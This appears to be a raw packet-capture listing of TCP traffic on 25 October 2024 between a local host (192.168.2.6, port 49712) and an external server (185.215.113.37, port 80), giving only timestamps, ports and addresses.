Oct 25, 2024 13:50:22.167110920 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.167126894 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.167143106 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.167145014 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.167157888 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.167171001 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.167172909 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.167190075 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.167191982 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.167232037 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.223112106 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.223138094 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.223150969 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.223200083 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.223207951 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.223223925 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.223241091 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.223242044 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.223279953 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.241112947 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.241185904 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.241199017 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.241230965 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.241245031 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.241259098 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.241274118 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.241275072 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.241296053 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.241319895 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.241319895 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.241338015 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.241377115 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.241384983 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.241399050 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.241414070 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.241424084 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.241435051 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.241477966 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.241516113 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.241519928 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.241535902 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.241564989 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.241583109 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.241615057 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.241630077 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.241646051 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.241662025 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.241672039 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.241676092 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.241692066 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.241707087 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.241729021 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.241763115 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.241777897 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.241794109 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.241810083 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.241823912 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.241841078 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.241875887 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.241911888 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.241928101 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.241941929 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.241959095 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.241964102 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.241980076 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.241983891 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.241992950 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.242021084 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.242049932 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.242060900 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.242075920 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.242090940 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.242103100 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.242125034 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.242151976 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.242162943 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.242166996 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.242192030 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.242212057 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.242221117 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.242228031 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.242243052 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.242258072 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.242261887 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.242289066 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.242311001 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.242394924 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.242418051 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.242433071 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.242440939 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.242449045 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.242470980 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.242476940 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.242486954 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.242491961 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.242506981 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.242518902 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.242554903 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.242594004 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.242609024 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.242624044 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.242645979 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.242652893 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.242662907 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.242676973 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.242690086 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.242691994 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.242707968 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.242723942 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.242723942 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.242733002 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.242738008 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.242750883 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.242765903 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.242773056 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.242789984 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.242805004 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.242810011 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.242820978 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.242834091 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.242835045 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.242872953 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.243027925 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.243042946 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.243060112 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.243079901 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.243089914 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.243096113 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.243110895 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.243155956 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.243174076 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.243189096 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.243231058 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.243282080 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.243297100 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.243324995 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.243339062 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.243346930 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.243355036 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.243369102 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.243371964 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.243386984 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.243402004 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.243402004 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.243424892 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.243442059 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.243442059 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.243457079 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.243463039 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.243473053 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.243498087 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.243505001 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.243514061 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.243529081 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.243547916 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.243563890 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.243563890 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.243566990 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.243582964 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.243582964 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.243599892 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.243622065 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.243623018 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.243638039 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.243655920 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.243664026 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.243669033 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.243685961 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.243716955 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.243755102 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.243769884 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.243786097 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.243799925 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.243813992 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.243815899 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.243832111 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.243845940 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.243855000 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.243860960 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.243887901 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.243911028 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.244035959 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244051933 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244067907 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244090080 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244096994 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.244106054 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244119883 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.244121075 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244143963 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244158983 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244174004 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244179964 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.244187117 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244201899 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244204044 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.244218111 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244225979 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.244232893 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244250059 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244250059 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.244265079 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244283915 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.244287014 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244302034 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244317055 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244319916 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.244333029 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244347095 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244349003 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.244363070 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244369984 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.244380951 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244395971 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.244430065 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.244435072 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244451046 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244458914 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244472980 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244488001 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244494915 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.244503975 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244520903 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.244550943 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.244591951 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244606972 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244621992 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244636059 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244661093 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.244673967 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.244751930 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244765043 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244786978 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244802952 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244816065 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.244817019 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244833946 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244836092 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.244848967 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244863987 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244875908 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244879961 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.244893074 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244909048 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244916916 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.244921923 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244937897 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244940042 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.244955063 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.244980097 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.244980097 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.245018959 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.245029926 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.245034933 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.245053053 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.245063066 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.245069027 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.245085001 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.245085955 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.245101929 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.245109081 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.245148897 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.245172024 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.245186090 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.245198965 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.245214939 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.245224953 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.245230913 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.245245934 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.245248079 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.245261908 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.245284081 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.245291948 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.245309114 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.245320082 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.245326042 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.245345116 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.245348930 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.245363951 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.245381117 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.245387077 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.245419025 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.245443106 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.245457888 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.245457888 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.245471954 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.245488882 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.245491028 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.245532990 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.245569944 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.245585918 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.245635033 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.245735884 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.245754957 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.245769978 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.245798111 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.245827913 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.284452915 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.284468889 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.284483910 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.284528017 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.284588099 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.284603119 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.284616947 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.284626007 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.284626961 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.284645081 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.284676075 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.284698963 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.284713030 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.284717083 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.284729004 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.284744978 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.284755945 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.284765959 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.284779072 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.284785032 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.284809113 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.284841061 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.340749979 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.340764999 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.340787888 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.340801954 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.340818882 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.340818882 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.340847015 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.340883970 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.358802080 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.358859062 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:22.358967066 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.358982086 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.358995914 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:22.359010935 CEST	80	49712	185.215.113.37	192.168.2.6
